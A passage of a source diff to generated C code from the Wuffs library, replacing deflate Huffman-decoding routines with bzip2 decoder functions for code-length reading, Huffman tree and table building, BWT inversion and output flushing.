{0}; +- uint32_t v_min_cl = 0; +- uint32_t v_max_cl = 0; +- uint32_t v_initial_high_bits = 0; +- uint32_t v_prev_cl = 0; +- uint32_t v_prev_redirect_key = 0; +- uint32_t v_top = 0; +- uint32_t v_next_top = 0; +- uint32_t v_code = 0; +- uint32_t v_key = 0; +- uint32_t v_value = 0; +- uint32_t v_cl = 0; +- uint32_t v_redirect_key = 0; +- uint32_t v_j = 0; +- uint32_t v_reversed_key = 0; +- uint32_t v_symbol = 0; +- uint32_t v_high_bits = 0; +- uint32_t v_delta = 0; ++ uint32_t v_code_length = 0; + +- v_i = a_n_codes0; +- while (v_i < a_n_codes1) { +- if (v_counts[(self->private_data.f_code_lengths[v_i] & 15u)] >= 320u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_counts[(self->private_data.f_code_lengths[v_i] & 15u)] += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- v_i += 1u; +- } +- if ((((uint32_t)(v_counts[0u])) + a_n_codes0) == a_n_codes1) { +- return wuffs_base__make_status(wuffs_deflate__error__no_huffman_codes); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- v_remaining = 1u; +- v_i = 1u; +- while (v_i <= 15u) { +- if (v_remaining > 1073741824u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- v_remaining <<= 1u; +- if (v_remaining < ((uint32_t)(v_counts[v_i]))) { +- return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_over_subscribed); +- } +- v_remaining -= ((uint32_t)(v_counts[v_i])); +- v_i += 1u; ++ ++ uint32_t coro_susp_point = self->private_impl.p_read_code_lengths; ++ if (coro_susp_point) { ++ v_i = self->private_data.s_read_code_lengths.v_i; ++ v_code_length = self->private_data.s_read_code_lengths.v_code_length; + } +- if (v_remaining != 0u) { +- if ((a_which == 1u) && (v_counts[1u] == 1u) && ((((uint32_t)(v_counts[0u])) + a_n_codes0 + 1u) == a_n_codes1)) { +- v_i = 0u; +- while (v_i <= 29u) { +- if (self->private_data.f_code_lengths[(a_n_codes0 + v_i)] == 1u) { +- self->private_impl.f_n_huffs_bits[1u] = 1u; +- self->private_data.f_huffs[1u][0u] = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[v_i] | 1u); +- self->private_data.f_huffs[1u][1u] = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[31u] | 1u); +- return wuffs_base__make_status(NULL); ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_code_lengths_bitmask = 0u; ++ v_i = 0u; ++ while (v_i < 5u) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } +- v_i += 1u; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } ++ v_code_length <<= 1u; ++ v_code_length |= (self->private_impl.f_bits >> 31u); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; + } +- return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_under_subscribed); +- } +- v_i = 1u; +- while (v_i <= 15u) { +- v_offsets[v_i] = ((uint16_t)(v_n_symbols)); +- v_count = ((uint32_t)(v_counts[v_i])); +- if (v_n_symbols > (320u - v_count)) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- v_n_symbols = (v_n_symbols + v_count); +- v_i += 1u; +- } +- if (v_n_symbols > 288u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- v_i = a_n_codes0; +- while (v_i < a_n_codes1) { +- if (v_i < a_n_codes0) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- if (self->private_data.f_code_lengths[v_i] != 0u) { +- if (v_offsets[(self->private_data.f_code_lengths[v_i] & 15u)] >= 320u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ v_i = 0u; ++ while (v_i < self->private_impl.f_num_symbols) { ++ while (true) { ++ if ((v_code_length < 1u) || (20u < v_code_length)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); ++ goto exit; ++ } ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; ++ } ++ if ((self->private_impl.f_bits >> 31u) == 0u) { ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ break; ++ } ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; ++ } ++ if ((self->private_impl.f_bits >> 31u) == 0u) { ++ v_code_length += 1u; ++ } else { ++ v_code_length -= 1u; ++ } ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; + } +- v_symbols[v_offsets[(self->private_data.f_code_lengths[v_i] & 15u)]] = ((uint16_t)((v_i - a_n_codes0))); +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_offsets[(self->private_data.f_code_lengths[v_i] & 15u)] += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } +- v_i += 1u; +- } +- v_min_cl = 1u; +- while (true) { +- if (v_counts[v_min_cl] != 0u) { +- break; +- } +- if (v_min_cl >= 9u) { +- return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_minimum_code_length); +- } +- v_min_cl += 1u; +- } +- v_max_cl = 15u; +- while (true) { +- if (v_counts[v_max_cl] != 0u) { +- break; +- } +- if (v_max_cl <= 1u) { +- return wuffs_base__make_status(wuffs_deflate__error__no_huffman_codes); ++ self->private_impl.f_code_lengths_bitmask |= (((uint32_t)(1u)) << (v_code_length & 31u)); ++ self->private_data.f_bwt[v_i] = v_code_length; ++ v_i += 1u; + } +- v_max_cl -= 1u; +- } +- if (v_max_cl <= 9u) { +- self->private_impl.f_n_huffs_bits[a_which] = v_max_cl; +- } else { +- self->private_impl.f_n_huffs_bits[a_which] = 9u; +- } +- v_i = 0u; +- if ((v_n_symbols != ((uint32_t)(v_offsets[v_max_cl]))) || (v_n_symbols != ((uint32_t)(v_offsets[15u])))) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- if ((a_n_codes0 + ((uint32_t)(v_symbols[0u]))) >= 320u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ ++ goto ok; ++ ok: ++ self->private_impl.p_read_code_lengths = 0; ++ goto exit; + } +- v_initial_high_bits = 512u; +- if (v_max_cl < 9u) { +- v_initial_high_bits = (((uint32_t)(1u)) << v_max_cl); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_read_code_lengths = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_read_code_lengths.v_i = v_i; ++ self->private_data.s_read_code_lengths.v_code_length = v_code_length; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_prev_cl = ((uint32_t)((self->private_data.f_code_lengths[(a_n_codes0 + ((uint32_t)(v_symbols[0u])))] & 15u))); +- v_prev_redirect_key = 4294967295u; +- v_top = 0u; +- v_next_top = 512u; +- v_code = 0u; +- v_key = 0u; +- v_value = 0u; +- while (true) { +- if ((a_n_codes0 + ((uint32_t)(v_symbols[v_i]))) >= 320u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ ++ return status; ++} ++ ++// -------- func bzip2.decoder.build_huffman_tree ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bzip2__decoder__build_huffman_tree( ++ wuffs_bzip2__decoder* self, ++ uint32_t a_which) { ++ uint32_t v_code_length = 0; ++ uint32_t v_symbol_index = 0; ++ uint32_t v_num_branch_nodes = 0; ++ uint32_t v_stack_height = 0; ++ uint32_t v_stack_values[21] = {0}; ++ uint32_t v_node_index = 0; ++ uint16_t v_leaf_value = 0; ++ ++ self->private_data.f_huffman_trees[a_which][0u][0u] = 0u; ++ self->private_data.f_huffman_trees[a_which][0u][1u] = 0u; ++ v_num_branch_nodes = 1u; ++ v_stack_height = 1u; ++ v_stack_values[0u] = 0u; ++ v_code_length = 1u; ++ while (v_code_length <= 20u) { ++ if ((self->private_impl.f_code_lengths_bitmask & (((uint32_t)(1u)) << v_code_length)) == 0u) { ++ v_code_length += 1u; ++ continue; + } +- v_cl = ((uint32_t)((self->private_data.f_code_lengths[(a_n_codes0 + ((uint32_t)(v_symbols[v_i])))] & 15u))); +- if (v_cl > v_prev_cl) { +- v_code <<= (v_cl - v_prev_cl); +- if (v_code >= 32768u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ v_symbol_index = 0u; ++ while (v_symbol_index < self->private_impl.f_num_symbols) { ++ if (self->private_data.f_bwt[v_symbol_index] != v_code_length) { ++ v_symbol_index += 1u; ++ continue; + } +- } +- v_prev_cl = v_cl; +- v_key = v_code; +- if (v_cl > 9u) { +- v_cl -= 9u; +- v_redirect_key = ((v_key >> v_cl) & 511u); +- v_key = ((v_key) & WUFFS_BASE__LOW_BITS_MASK__U32(v_cl)); +- if (v_prev_redirect_key != v_redirect_key) { +- v_prev_redirect_key = v_redirect_key; +- v_remaining = (((uint32_t)(1u)) << v_cl); +- v_j = v_prev_cl; +- while (v_j <= 15u) { +- if (v_remaining <= ((uint32_t)(v_counts[v_j]))) { +- break; +- } +- v_remaining -= ((uint32_t)(v_counts[v_j])); +- if (v_remaining > 1073741824u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- v_remaining <<= 1u; +- v_j += 1u; ++ while (true) { ++ if (v_stack_height <= 0u) { ++ return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_over_subscribed); ++ } else if (v_stack_height >= v_code_length) { ++ break; + } +- if ((v_j <= 9u) || (15u < v_j)) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ v_node_index = v_stack_values[(v_stack_height - 1u)]; ++ if (self->private_data.f_huffman_trees[a_which][v_node_index][0u] == 0u) { ++ self->private_data.f_huffman_trees[a_which][v_node_index][0u] = ((uint16_t)(v_num_branch_nodes)); ++ } else { ++ self->private_data.f_huffman_trees[a_which][v_node_index][1u] = ((uint16_t)(v_num_branch_nodes)); + } +- v_j -= 9u; +- v_initial_high_bits = (((uint32_t)(1u)) << v_j); +- v_top = v_next_top; +- if ((v_top + (((uint32_t)(1u)) << v_j)) > 1024u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ if (v_num_branch_nodes >= 257u) { ++ return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_under_subscribed); + } +- v_next_top = (v_top + (((uint32_t)(1u)) << v_j)); +- v_redirect_key = (((uint32_t)(WUFFS_DEFLATE__REVERSE8[(v_redirect_key >> 1u)])) | ((v_redirect_key & 1u) << 8u)); +- self->private_data.f_huffs[a_which][v_redirect_key] = (268435465u | (v_top << 8u) | (v_j << 4u)); ++ v_stack_values[v_stack_height] = v_num_branch_nodes; ++ self->private_data.f_huffman_trees[a_which][v_num_branch_nodes][0u] = 0u; ++ self->private_data.f_huffman_trees[a_which][v_num_branch_nodes][1u] = 0u; ++ v_num_branch_nodes += 1u; ++ v_stack_height += 1u; + } ++ v_node_index = v_stack_values[(v_stack_height - 1u)]; ++ if (v_symbol_index < 2u) { ++ v_leaf_value = ((uint16_t)((769u + v_symbol_index))); ++ } else if ((v_symbol_index + 1u) < self->private_impl.f_num_symbols) { ++ v_leaf_value = ((uint16_t)((511u + v_symbol_index))); ++ } else { ++ v_leaf_value = 768u; ++ } ++ if (self->private_data.f_huffman_trees[a_which][v_node_index][0u] == 0u) { ++ self->private_data.f_huffman_trees[a_which][v_node_index][0u] = v_leaf_value; ++ } else { ++ self->private_data.f_huffman_trees[a_which][v_node_index][1u] = v_leaf_value; ++ v_stack_height -= 1u; ++ while (v_stack_height > 0u) { ++ v_node_index = v_stack_values[(v_stack_height - 1u)]; ++ if (self->private_data.f_huffman_trees[a_which][v_node_index][1u] == 0u) { ++ break; ++ } ++ v_stack_height -= 1u; ++ } ++ } ++ v_symbol_index += 1u; + } +- if ((v_key >= 512u) || (v_counts[v_prev_cl] <= 0u)) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } ++ v_code_length += 1u; ++ } ++ if (v_stack_height != 0u) { ++ return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_under_subscribed); ++ } ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func bzip2.decoder.build_huffman_table ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_bzip2__decoder__build_huffman_table( ++ wuffs_bzip2__decoder* self, ++ uint32_t a_which) { ++ uint32_t v_i = 0; ++ uint32_t v_bits = 0; ++ uint16_t v_n_bits = 0; ++ uint16_t v_child = 0; ++ ++ while (v_i < 256u) { ++ v_bits = (v_i << 24u); ++ v_n_bits = 0u; ++ v_child = 0u; ++ while ((v_child < 257u) && (v_n_bits < 8u)) { ++ v_child = self->private_data.f_huffman_trees[a_which][v_child][(v_bits >> 31u)]; ++ v_bits <<= 1u; + #if defined(__GNUC__) + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wconversion" + #endif +- v_counts[v_prev_cl] -= 1u; ++ v_n_bits += 1u; + #if defined(__GNUC__) + #pragma GCC diagnostic pop + #endif +- v_reversed_key = (((uint32_t)(WUFFS_DEFLATE__REVERSE8[(v_key >> 1u)])) | ((v_key & 1u) << 8u)); +- v_reversed_key >>= (9u - v_cl); +- v_symbol = ((uint32_t)(v_symbols[v_i])); +- if (v_symbol == 256u) { +- v_value = (536870912u | v_cl); +- } else if ((v_symbol < 256u) && (a_which == 0u)) { +- v_value = (2147483648u | (v_symbol << 8u) | v_cl); +- } else if (v_symbol >= a_base_symbol) { +- v_symbol -= a_base_symbol; +- if (a_which == 0u) { +- v_value = (WUFFS_DEFLATE__LCODE_MAGIC_NUMBERS[(v_symbol & 31u)] | v_cl); +- } else { +- v_value = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[(v_symbol & 31u)] | v_cl); +- } +- } else { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- v_high_bits = v_initial_high_bits; +- v_delta = (((uint32_t)(1u)) << v_cl); +- while (v_high_bits >= v_delta) { +- v_high_bits -= v_delta; +- if ((v_top + ((v_high_bits | v_reversed_key) & 511u)) >= 1024u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- self->private_data.f_huffs[a_which][(v_top + ((v_high_bits | v_reversed_key) & 511u))] = v_value; + } ++ self->private_data.f_huffman_tables[a_which][v_i] = ((uint16_t)(((uint16_t)(v_child | ((uint16_t)(v_n_bits << 12u)))))); + v_i += 1u; +- if (v_i >= v_n_symbols) { +- break; +- } +- v_code += 1u; +- if (v_code >= 32768u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } + } +- return wuffs_base__make_status(NULL); ++ return wuffs_base__make_empty_struct(); + } + +-// ‼ WUFFS MULTI-FILE SECTION +x86_bmi2 +-// -------- func deflate.decoder.decode_huffman_bmi2 ++// -------- func bzip2.decoder.invert_bwt + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("bmi2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_bmi2( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++static wuffs_base__empty_struct ++wuffs_bzip2__decoder__invert_bwt( ++ wuffs_bzip2__decoder* self) { ++ uint32_t v_i = 0; ++ uint32_t v_letter = 0; ++ uint32_t v_sum = 0; ++ uint32_t v_old_sum = 0; + +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_table_entry = 0; +- uint32_t v_table_entry_n_bits = 0; +- uint64_t v_lmask = 0; +- uint64_t v_dmask = 0; +- uint32_t v_redir_top = 0; +- uint32_t v_redir_mask = 0; +- uint32_t v_length = 0; +- uint32_t v_dist_minus_1 = 0; +- uint32_t v_hlen = 0; +- uint32_t v_hdist = 0; +- uint32_t v_hdist_adjustment = 0; ++ v_sum = 0u; ++ v_i = 0u; ++ while (v_i < 256u) { ++ v_old_sum = v_sum; ++ v_sum += self->private_data.f_letter_counts[v_i]; ++ self->private_data.f_letter_counts[v_i] = v_old_sum; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < self->private_impl.f_block_size) { ++ v_letter = (self->private_data.f_bwt[v_i] & 255u); ++ self->private_data.f_bwt[(self->private_data.f_letter_counts[v_letter] & 1048575u)] |= (v_i << 12u); ++ self->private_data.f_letter_counts[v_letter] += 1u; ++ v_i += 1u; ++ } ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func bzip2.decoder.flush_fast ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_bzip2__decoder__flush_fast( ++ wuffs_bzip2__decoder* self, ++ wuffs_base__io_buffer* a_dst) { ++ uint32_t v_flush_pointer = 0; ++ uint32_t v_flush_repeat_count = 0; ++ uint8_t v_flush_prev = 0; ++ uint32_t v_block_checksum_have = 0; ++ uint32_t v_block_size = 0; ++ uint32_t v_entry = 0; ++ uint8_t v_curr = 0; + + uint8_t* iop_a_dst = NULL; + uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -35435,217 +35252,204 @@ wuffs_deflate__decoder__decode_huffman_bmi2( + io2_a_dst = iop_a_dst; + } + } +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } + +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } +- v_bits = ((uint64_t)(self->private_impl.f_bits)); +- v_n_bits = self->private_impl.f_n_bits; +- v_lmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); +- v_dmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); +- if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { +- status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); +- goto exit; ++ v_flush_pointer = self->private_impl.f_flush_pointer; ++ v_flush_repeat_count = self->private_impl.f_flush_repeat_count; ++ v_flush_prev = self->private_impl.f_flush_prev; ++ v_block_checksum_have = self->private_impl.f_block_checksum_have; ++ v_block_size = self->private_impl.f_block_size; ++ while ((v_block_size > 0u) && (((uint64_t)(io2_a_dst - iop_a_dst)) >= 255u)) { ++ if (v_flush_repeat_count < 4u) { ++ v_entry = self->private_data.f_bwt[v_flush_pointer]; ++ v_curr = ((uint8_t)(v_entry)); ++ v_flush_pointer = (v_entry >> 12u); ++ if (v_curr == v_flush_prev) { ++ v_flush_repeat_count += 1u; ++ } else { ++ v_flush_repeat_count = 1u; ++ } ++ v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[((uint8_t)(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_curr))] ^ ((uint32_t)(v_block_checksum_have << 8u))); ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_curr), iop_a_dst += 1); ++ v_flush_prev = v_curr; ++ v_block_size -= 1u; ++ } else { ++ v_entry = self->private_data.f_bwt[v_flush_pointer]; ++ v_curr = ((uint8_t)(v_entry)); ++ v_flush_pointer = (v_entry >> 12u); ++ v_flush_repeat_count = ((uint32_t)(v_curr)); ++ while (v_flush_repeat_count > 0u) { ++ v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[((uint8_t)(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_flush_prev))] ^ ((uint32_t)(v_block_checksum_have << 8u))); ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) > 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_flush_prev), iop_a_dst += 1); ++ } ++ v_flush_repeat_count -= 1u; ++ } ++ v_flush_repeat_count = 0u; ++ v_flush_prev = v_curr; ++ v_block_size -= 1u; ++ } + } +- v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); +- label__loop__continue:; +- while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 8u)) { +- v_bits |= ((uint64_t)(wuffs_base__peek_u64le__no_bounds_check(iop_a_src) << (v_n_bits & 63u))); +- iop_a_src += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 31u) != 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 31u) != 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- v_length = (((v_table_entry >> 8u) & 255u) + 3u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- if (v_table_entry_n_bits > 0u) { +- v_length = (((v_length + 253u + ((uint32_t)(((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 255u) + 3u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } +- v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 28u) == 1u) { +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } +- if ((v_table_entry >> 24u) != 64u) { +- if ((v_table_entry >> 24u) == 8u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; ++ self->private_impl.f_flush_pointer = v_flush_pointer; ++ self->private_impl.f_flush_repeat_count = v_flush_repeat_count; ++ self->private_impl.f_flush_prev = v_flush_prev; ++ self->private_impl.f_block_checksum_have = v_block_checksum_have; ++ if (v_block_size <= 900000u) { ++ self->private_impl.f_block_size = v_block_size; ++ } ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func bzip2.decoder.flush_slow ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bzip2__decoder__flush_slow( ++ wuffs_bzip2__decoder* self, ++ wuffs_base__io_buffer* a_dst) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_flush_pointer = 0; ++ uint32_t v_flush_repeat_count = 0; ++ uint8_t v_flush_prev = 0; ++ uint32_t v_block_checksum_have = 0; ++ uint32_t v_block_size = 0; ++ uint32_t v_entry = 0; ++ uint8_t v_curr = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; + } +- v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- v_dist_minus_1 = ((v_dist_minus_1 + ((uint32_t)(((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 32767u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- do { +- if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { +- v_hlen = 0u; +- v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); +- if (v_length > v_hdist) { +- v_length -= v_hdist; +- v_hlen = v_hdist; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_flush_slow; ++ if (coro_susp_point) { ++ v_flush_pointer = self->private_data.s_flush_slow.v_flush_pointer; ++ v_flush_repeat_count = self->private_data.s_flush_slow.v_flush_repeat_count; ++ v_flush_prev = 